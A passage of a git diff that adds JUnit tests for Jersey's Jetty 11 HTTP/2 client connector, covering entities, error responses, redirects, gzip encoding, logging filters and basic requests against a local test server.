+ assertNotNull(connector.getCookieStore().getCookies());
+ assertEquals(1, connector.getCookieStore().getCookies().size());
+ assertEquals("value", connector.getCookieStore().getCookies().get(0).getValue());
+ client.close();
+ }
+}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/CustomLoggingFilter.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/CustomLoggingFilter.java
new file mode 100644
index 00000000000..369169a02cb
--- /dev/null
+++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/CustomLoggingFilter.java
@@ -0,0 +1,64 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import jakarta.ws.rs.client.ClientRequestContext;
+import jakarta.ws.rs.client.ClientRequestFilter;
+import jakarta.ws.rs.client.ClientResponseContext;
+import jakarta.ws.rs.client.ClientResponseFilter;
+import jakarta.ws.rs.container.ContainerRequestContext;
+import jakarta.ws.rs.container.ContainerRequestFilter;
+import jakarta.ws.rs.container.ContainerResponseContext;
+import jakarta.ws.rs.container.ContainerResponseFilter;
+import java.io.IOException;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+public class CustomLoggingFilter implements ContainerRequestFilter, ContainerResponseFilter,
+ ClientRequestFilter, ClientResponseFilter {
+
+ static int preFilterCalled = 0;
+ static int postFilterCalled = 0;
+
+ @Override
+ public void filter(ClientRequestContext context) throws IOException {
+ System.out.println("CustomLoggingFilter.preFilter called");
+ assertEquals("bar", context.getConfiguration().getProperty("foo"));
+ preFilterCalled++;
+ }
+
+ @Override
+ public void filter(ClientRequestContext context, ClientResponseContext clientResponseContext) throws IOException {
+ System.out.println("CustomLoggingFilter.postFilter called");
+ assertEquals("bar", context.getConfiguration().getProperty("foo"));
+ postFilterCalled++;
+ }
+
+ @Override
+ public void filter(ContainerRequestContext context) throws IOException {
+ System.out.println("CustomLoggingFilter.preFilter called");
+ assertEquals("bar", context.getProperty("foo"));
+ preFilterCalled++;
+ }
+
+ @Override
+ public void filter(ContainerRequestContext context, ContainerResponseContext containerResponseContext) throws IOException {
+ System.out.println("CustomLoggingFilter.postFilter called");
+ assertEquals("bar", context.getProperty("foo"));
+ postFilterCalled++;
+ }
+}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/EntityTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/EntityTest.java
new file mode 100644
index 00000000000..0f508ca384d
--- /dev/null
+++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/EntityTest.java
@@ -0,0 +1,151 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.jackson.JacksonFeature;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.Response;
+import jakarta.xml.bind.annotation.XmlRootElement;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.TimeoutException;
+import java.util.logging.Logger;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+public class EntityTest extends JerseyTest {
+
+ private static final Logger LOGGER = Logger.getLogger(EntityTest.class.getName());
+
+ private static final String PATH = "test";
+
+ @Path("/test")
+ public static class EntityResource {
+
+ @GET
+ public Person get() {
+ return new Person("John", "Doe");
+ }
+
+ @POST
+ public Person post(Person entity) {
+ return entity;
+ }
+
+ }
+
+ @XmlRootElement
+ public static class Person {
+
+ private String firstName;
+ private String lastName;
+
+ public Person() {
+ }
+
+ public Person(String firstName, String lastName) {
+ this.firstName = firstName;
+ this.lastName = lastName;
+ }
+
+ public String getFirstName() {
+ return firstName;
+ }
+
+ public void setFirstName(String firstName) {
+ this.firstName = firstName;
+ }
+
+ public String getLastName() {
+ return lastName;
+ }
+
+ public void setLastName(String lastName) {
+ this.lastName = lastName;
+ }
+
+ @Override
+ public String toString() {
+ return firstName + " " + lastName;
+ }
+ }
+
+ @Override
+ protected Application configure() {
+ ResourceConfig config = new ResourceConfig(EntityResource.class, JacksonFeature.class);
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+ return config;
+ }
+
+ @Override
+ protected void configureClient(ClientConfig config) {
+ config.connectorProvider(new JettyHttp2ConnectorProvider())
+ .register(JacksonFeature.class);
+ }
+
+ @Test
+ public void testGet() {
+ Response response = target(PATH).request(MediaType.APPLICATION_XML_TYPE).get();
+ Person person = response.readEntity(Person.class);
+ assertEquals("John Doe", person.toString());
+ response = target(PATH).request(MediaType.APPLICATION_JSON_TYPE).get();
+ person = response.readEntity(Person.class);
+ assertEquals("John Doe", person.toString());
+ }
+
+ @Test
+ public void testGetAsync() throws ExecutionException, InterruptedException {
+ Response response = target(PATH).request(MediaType.APPLICATION_XML_TYPE).async().get().get();
+ Person person = response.readEntity(Person.class);
+ assertEquals("John Doe", person.toString());
+ response = target(PATH).request(MediaType.APPLICATION_JSON_TYPE).async().get().get();
+ person = response.readEntity(Person.class);
+ assertEquals("John Doe", person.toString());
+ }
+
+ @Test
+ public void testPost() {
+ Response response = target(PATH).request(MediaType.APPLICATION_XML_TYPE).post(Entity.xml(new Person("John", "Doe")));
+ Person person = response.readEntity(Person.class);
+ assertEquals("John Doe", person.toString());
+ response = target(PATH).request(MediaType.APPLICATION_JSON_TYPE).post(Entity.xml(new Person("John", "Doe")));
+ person = response.readEntity(Person.class);
+ assertEquals("John Doe", person.toString());
+ }
+
+ @Test
+ public void testPostAsync() throws ExecutionException, InterruptedException, TimeoutException {
+ Response response = target(PATH).request(MediaType.APPLICATION_XML_TYPE).async()
+ .post(Entity.xml(new Person("John", "Doe"))).get();
+ Person person = response.readEntity(Person.class);
+ assertEquals("John Doe", person.toString());
+ response = target(PATH).request(MediaType.APPLICATION_JSON_TYPE).async().post(Entity.xml(new Person("John", "Doe")))
+ .get();
+ person = response.readEntity(Person.class);
+ assertEquals("John Doe", person.toString());
+ }
+}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/ErrorTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/ErrorTest.java
new file mode 100644
index 00000000000..64d819874df
--- /dev/null
+++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/ErrorTest.java
@@ -0,0 +1,119 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.ClientErrorException;
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Response;
+import java.util.logging.Logger;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+public class ErrorTest extends JerseyTest {
+
+ private static final Logger LOGGER = Logger.getLogger(ErrorTest.class.getName());
+
+ @Override
+ protected Application configure() {
+ ResourceConfig config = new ResourceConfig(ErrorResource.class);
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+ return config;
+ }
+
+
+ @Override
+ protected void configureClient(ClientConfig config) {
+ config.connectorProvider(new JettyHttp2ConnectorProvider());
+ }
+
+
+ @Path("/test")
+ public static class ErrorResource {
+ @POST
+ public Response post(String entity) {
+ return Response.serverError().build();
+ }
+
+ @Path("entity")
+ @POST
+ public Response postWithEntity(String entity) {
+ return Response.serverError().entity("error").build();
+ }
+ }
+
+ @Test
+ public void testPostError() {
+ WebTarget r = target("test");
+
+ for (int i = 0; i < 100; i++) {
+ try {
+ r.request().post(Entity.text("POST"));
+ } catch (ClientErrorException ex) {
+ }
+ }
+ }
+
+ @Test
+ public void testPostErrorWithEntity() {
+ WebTarget r = target("test");
+
+ for (int i = 0; i < 100; i++) {
+ try {
+ r.request().post(Entity.text("POST"));
+ } catch (ClientErrorException ex) {
+ String s = ex.getResponse().readEntity(String.class);
+ assertEquals("error", s);
+ }
+ }
+ }
+
+ @Test
+ public void testPostErrorAsync() {
+ WebTarget r = target("test");
+
+ for (int i = 0; i < 100; i++) {
+ try {
+ r.request().async().post(Entity.text("POST"));
+ } catch (ClientErrorException ex) {
+ }
+ }
+ }
+
+ @Test
+ public void testPostErrorWithEntityAsync() {
+ WebTarget r = target("test");
+
+ for (int i = 0; i < 100; i++) {
+ try {
+ r.request().async().post(Entity.text("POST"));
+ } catch (ClientErrorException ex) {
+ String s = ex.getResponse().readEntity(String.class);
+ assertEquals("error", s);
+ }
+ }
+ }
+}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/FollowRedirectsTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/FollowRedirectsTest.java
new file mode 100644
index 00000000000..2604f9b2df4
--- /dev/null
+++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/FollowRedirectsTest.java
@@ -0,0 +1,129 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.client.ClientProperties;
+import org.glassfish.jersey.client.ClientResponse;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.ClientRequestContext;
+import jakarta.ws.rs.client.ClientResponseContext;
+import jakarta.ws.rs.client.ClientResponseFilter;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Response;
+import jakarta.ws.rs.core.UriBuilder;
+import java.io.IOException;
+import java.net.URI;
+import java.util.logging.Logger;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+public class FollowRedirectsTest extends JerseyTest {
+
+ private static final Logger LOGGER = Logger.getLogger(FollowRedirectsTest.class.getName());
+
+ @Path("/test")
+ public static class RedirectResource {
+ @GET
+ public String get() {
+ return "GET";
+ }
+
+ @GET
+ @Path("redirect")
+ public Response redirect() {
+ return Response.seeOther(UriBuilder.fromResource(RedirectResource.class).build()).build();
+ }
+ }
+
+ @Override
+ protected Application configure() {
+ ResourceConfig config = new ResourceConfig(RedirectResource.class);
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+ return config;
+ }
+
+ @Override
+ protected void configureClient(ClientConfig config) {
+ config.property(ClientProperties.FOLLOW_REDIRECTS, false);
+ config.connectorProvider(new JettyHttp2ConnectorProvider());
+ }
+
+ private static class RedirectTestFilter implements ClientResponseFilter {
+ public static final String RESOLVED_URI_HEADER = "resolved-uri";
+
+ @Override
+ public void filter(ClientRequestContext requestContext, ClientResponseContext responseContext) throws IOException {
+ if (responseContext instanceof ClientResponse) {
+ ClientResponse clientResponse = (ClientResponse) responseContext;
+ responseContext.getHeaders().putSingle(RESOLVED_URI_HEADER, clientResponse.getResolvedRequestUri().toString());
+ }
+ }
+ }
+
+ @Test
+ public void testDoFollow() {
+ final URI u = target().getUri();
+ ClientConfig config = new ClientConfig().property(ClientProperties.FOLLOW_REDIRECTS, true);
+ config.connectorProvider(new JettyHttp2ConnectorProvider());
+ Client c = ClientBuilder.newClient(config);
+ WebTarget t = c.target(u);
+ Response r = t.path("test/redirect")
+ .register(RedirectTestFilter.class)
+ .request().get();
+ assertEquals(200, r.getStatus());
+ assertEquals("GET", r.readEntity(String.class));
+ c.close();
+ }
+
+ @Test
+ public void testDoFollowPerRequestOverride() {
+ WebTarget t = target("test/redirect");
+ t.property(ClientProperties.FOLLOW_REDIRECTS, true);
+ Response r = t.request().get();
+ assertEquals(200, r.getStatus());
+ assertEquals("GET", r.readEntity(String.class));
+ }
+
+ @Test
+ public void testDontFollow() {
+ WebTarget t = target("test/redirect");
+ assertEquals(303, t.request().get().getStatus());
+ }
+
+ @Test
+ public void testDontFollowPerRequestOverride() {
+ final URI u = target().getUri();
+ ClientConfig config = new ClientConfig().property(ClientProperties.FOLLOW_REDIRECTS, true);
+ config.connectorProvider(new JettyHttp2ConnectorProvider());
+ Client client = ClientBuilder.newClient(config);
+ WebTarget t = client.target(u);
+ t.property(ClientProperties.FOLLOW_REDIRECTS, false);
+ Response r = t.path("test/redirect").request().get();
+ assertEquals(303, r.getStatus());
+ client.close();
+ }
+}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/GZIPContentEncodingTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/GZIPContentEncodingTest.java
new file mode 100644
index 00000000000..29bb444014c
--- /dev/null
+++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/GZIPContentEncodingTest.java
@@ -0,0 +1,100 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.client.ClientProperties;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.message.GZipEncoder;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.Response;
+import java.util.Arrays;
+import java.util.logging.Logger;
+
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+public class GZIPContentEncodingTest extends JerseyTest {
+
+ private static final Logger LOGGER = Logger.getLogger(EntityTest.class.getName());
+
+ @Path("/")
+ public static class Resource {
+
+ @POST
+ public byte[] post(byte[] content) {
+ return content;
+ }
+ }
+
+ @Override
+ protected Application configure() {
+ ResourceConfig config = new ResourceConfig(Resource.class);
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+ return config;
+ }
+
+ @Override
+ protected void configureClient(ClientConfig config) {
+ config.register(GZipEncoder.class);
+ config.connectorProvider(new JettyHttp2ConnectorProvider());
+ }
+
+ @Test
+ public void testPost() {
+ WebTarget r = target();
+ byte[] content = new byte[1024 * 1024];
+ assertTrue(Arrays.equals(content,
+ r.request().post(Entity.entity(content, MediaType.APPLICATION_OCTET_STREAM_TYPE)).readEntity(byte[].class)));
+
+ Response cr = r.request().post(Entity.entity(content, MediaType.APPLICATION_OCTET_STREAM_TYPE));
+ assertTrue(cr.hasEntity());
+ cr.close();
+ }
+
+ @Test
+ public void testPostChunked() {
+ ClientConfig config = new ClientConfig();
+ config.property(ClientProperties.CHUNKED_ENCODING_SIZE, 1024);
+ config.connectorProvider(new JettyHttp2ConnectorProvider());
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+
+ Client client = ClientBuilder.newClient(config);
+ WebTarget r = client.target(getBaseUri());
+
+ byte[] content = new byte[1024 * 1024];
+ assertTrue(Arrays.equals(content,
+ r.request().post(Entity.entity(content, MediaType.APPLICATION_OCTET_STREAM_TYPE)).readEntity(byte[].class)));
+
+ Response cr = r.request().post(Entity.text("POST"));
+ assertTrue(cr.hasEntity());
+ cr.close();
+
+ client.close();
+ }
+
+}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/HelloWorldTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/HelloWorldTest.java
new file mode 100644
index 00000000000..ac6870a57b1
--- /dev/null
+++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/HelloWorldTest.java
@@ -0,0 +1,220 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.Produces;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.InvocationCallback;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.Response;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import java.util.logging.Logger;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+public class HelloWorldTest extends JerseyTest {
+
+ private static final Logger LOGGER = Logger.getLogger(HelloWorldTest.class.getName());
+ private static final String ROOT_PATH = "helloworld";
+
+ @Path("helloworld")
+ public static class HelloWorldResource {
+ public static final String CLICHED_MESSAGE = "Hello World!";
+
+ @GET
+ @Produces("text/plain")
+ public String getHello() {
+ return CLICHED_MESSAGE;
+ }
+
+ }
+
+ @Override
+ protected Application configure() {
+ ResourceConfig config = new ResourceConfig(HelloWorldResource.class);
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+ return config;
+ }
+
+ @Override
+ protected void configureClient(ClientConfig config) {
+ config.connectorProvider(new JettyHttp2ConnectorProvider());
+ }
+
+ @Test
+ public void testConnection() {
+ Response response = target().path(ROOT_PATH).request("text/plain").get();
+ assertEquals(200, response.getStatus());
+ }
+
+ @Test
+ public void testClientStringResponse() {
+ String s = target().path(ROOT_PATH).request().get(String.class);
+ assertEquals(HelloWorldResource.CLICHED_MESSAGE, s);
+ }
+
+ @Test
+ public void testAsyncClientRequests() throws InterruptedException {
+ final int REQUESTS = 20;
+ final CountDownLatch latch = new CountDownLatch(REQUESTS);
+ final long tic = System.currentTimeMillis();
+ for (int i = 0; i < REQUESTS; i++) {
+ final int id = i;
+ target().path(ROOT_PATH).request().async().get(new InvocationCallback() {
+ @Override
+ public void completed(Response response) {
+ try {
+ final String result = response.readEntity(String.class);
+ assertEquals(HelloWorldResource.CLICHED_MESSAGE, result);
+ } finally {
+ latch.countDown();
+ }
+ }
+
+ @Override
+ public void failed(Throwable error) {
+ error.printStackTrace();
+ latch.countDown();
+ }
+ });
+ }
+ latch.await(10 * getAsyncTimeoutMultiplier(), TimeUnit.SECONDS);
+ final long toc = System.currentTimeMillis();
+ Logger.getLogger(HelloWorldTest.class.getName()).info("Executed in: " + (toc - tic));
+ }
+
+ @Test
+ public void testHead() {
+ Response response = target().path(ROOT_PATH).request().head();
+ assertEquals(200, response.getStatus());
+ assertEquals(MediaType.TEXT_PLAIN_TYPE, response.getMediaType());
+ }
+
+ @Test
+ public void testFooBarOptions() {
+ Response response = target().path(ROOT_PATH).request().header("Accept", "foo/bar").options();
+ assertEquals(200, response.getStatus());
+ final String allowHeader = response.getHeaderString("Allow");
+ _checkAllowContent(allowHeader);
+ assertEquals("foo/bar", response.getMediaType().toString());
+ assertEquals(0, response.getLength());
+ }
+
+ @Test
+ public void testTextPlainOptions() {
+ Response response = target().path(ROOT_PATH).request().header("Accept", MediaType.TEXT_PLAIN).options();
+ assertEquals(200, response.getStatus());
+ final String allowHeader = response.getHeaderString("Allow");
+ _checkAllowContent(allowHeader);
+ assertEquals(MediaType.TEXT_PLAIN_TYPE, response.getMediaType());
+ final String responseBody = response.readEntity(String.class);
+ _checkAllowContent(responseBody);
+ }
+
+ private void _checkAllowContent(final String content) {
+ assertTrue(content.contains("GET"));
+ assertTrue(content.contains("HEAD"));
+ assertTrue(content.contains("OPTIONS"));
+ }
+
+ @Test
+ public void testMissingResourceNotFound() {
+ Response response;
+
+ response = target().path(ROOT_PATH + "arbitrary").request().get();
+ assertEquals(404, response.getStatus());
+ response.close();
+
+ response = target().path(ROOT_PATH).path("arbitrary").request().get();
+ assertEquals(404, response.getStatus());
+ response.close();
+ }
+
+ @Test
+ public void testLoggingFilterClientClass() {
+ Client client = client();
+ client.register(CustomLoggingFilter.class).property("foo", "bar");
+ CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0;
+ String s = target().path(ROOT_PATH).request().get(String.class);
+ assertEquals(HelloWorldResource.CLICHED_MESSAGE, s);
+ assertEquals(1, CustomLoggingFilter.preFilterCalled);
+ assertEquals(1, CustomLoggingFilter.postFilterCalled);
+ client.close();
+ }
+
+ @Test
+ public void testLoggingFilterClientInstance() {
+ Client client = client();
+ client.register(new CustomLoggingFilter()).property("foo", "bar");
+ CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0;
+ String s = target().path(ROOT_PATH).request().get(String.class);
+ assertEquals(HelloWorldResource.CLICHED_MESSAGE, s);
+ assertEquals(1, CustomLoggingFilter.preFilterCalled);
+ assertEquals(1, CustomLoggingFilter.postFilterCalled);
+ client.close();
+ }
+
+ @Test
+ public void testLoggingFilterTargetClass() {
+ WebTarget target = target().path(ROOT_PATH);
+ target.register(CustomLoggingFilter.class).property("foo", "bar");
+ CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0;
+ String s = target.request().get(String.class);
+ assertEquals(HelloWorldResource.CLICHED_MESSAGE, s);
+ assertEquals(1, CustomLoggingFilter.preFilterCalled);
+ assertEquals(1, CustomLoggingFilter.postFilterCalled);
+ }
+
+ @Test
+ public void testLoggingFilterTargetInstance() {
+ WebTarget target = target().path(ROOT_PATH);
+ target.register(new CustomLoggingFilter()).property("foo", "bar");
+ CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0;
+ String s = target.request().get(String.class);
+ assertEquals(HelloWorldResource.CLICHED_MESSAGE, s);
+ assertEquals(1, CustomLoggingFilter.preFilterCalled);
+ assertEquals(1, CustomLoggingFilter.postFilterCalled);
+ }
+
+ @Test
+ public void testConfigurationUpdate() {
+ Client client1 = client();
+ client1.register(CustomLoggingFilter.class).property("foo", "bar");
+
+ Client client = ClientBuilder.newClient(client1.getConfiguration());
+ CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0;
+ String s = target().path(ROOT_PATH).request().get(String.class);
+ assertEquals(HelloWorldResource.CLICHED_MESSAGE, s);
+ assertEquals(1, CustomLoggingFilter.preFilterCalled);
+ assertEquals(1, CustomLoggingFilter.postFilterCalled);
+ client.close();
+ }
+
+}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/Http2PresenceTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/Http2PresenceTest.java
new file mode 100644
index 00000000000..71b1361c012
--- /dev/null
+++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/Http2PresenceTest.java
@@ -0,0 +1,110 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.eclipse.jetty.client.HttpClient;
+import org.eclipse.jetty.http2.client.http.HttpClientTransportOverHTTP2;
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.client.spi.ConnectorProvider;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.HeaderParam;
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Context;
+import jakarta.ws.rs.core.HttpHeaders;
+import jakarta.ws.rs.core.Response;
+import java.util.List;
+import java.util.logging.Logger;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+
+/**
+ * Tests the HTTP2 presence.
+ *
+ */
+public class Http2PresenceTest extends JerseyTest {
+
+ private static final Logger LOGGER = Logger.getLogger(Http2PresenceTest.class.getName());
+
+ @Path("/test")
+ public static class HttpMethodResource {
+ @POST
+ public String post(
+ @HeaderParam("Transfer-Encoding") String transferEncoding,
+ @HeaderParam("X-CLIENT") String xClient,
+ @HeaderParam("X-WRITER") String xWriter,
+ String entity) {
+ assertEquals("client", xClient);
+ return "POST";
+ }
+
+ @GET
+ public String testUserAgent(@Context HttpHeaders httpHeaders) {
+ final List requestHeader = httpHeaders.getRequestHeader(HttpHeaders.USER_AGENT);
+ if (requestHeader.size() != 1) {
+ return "FAIL";
+ }
+ return requestHeader.get(0);
+ }
+ }
+
+ @Override
+ protected Application configure() {
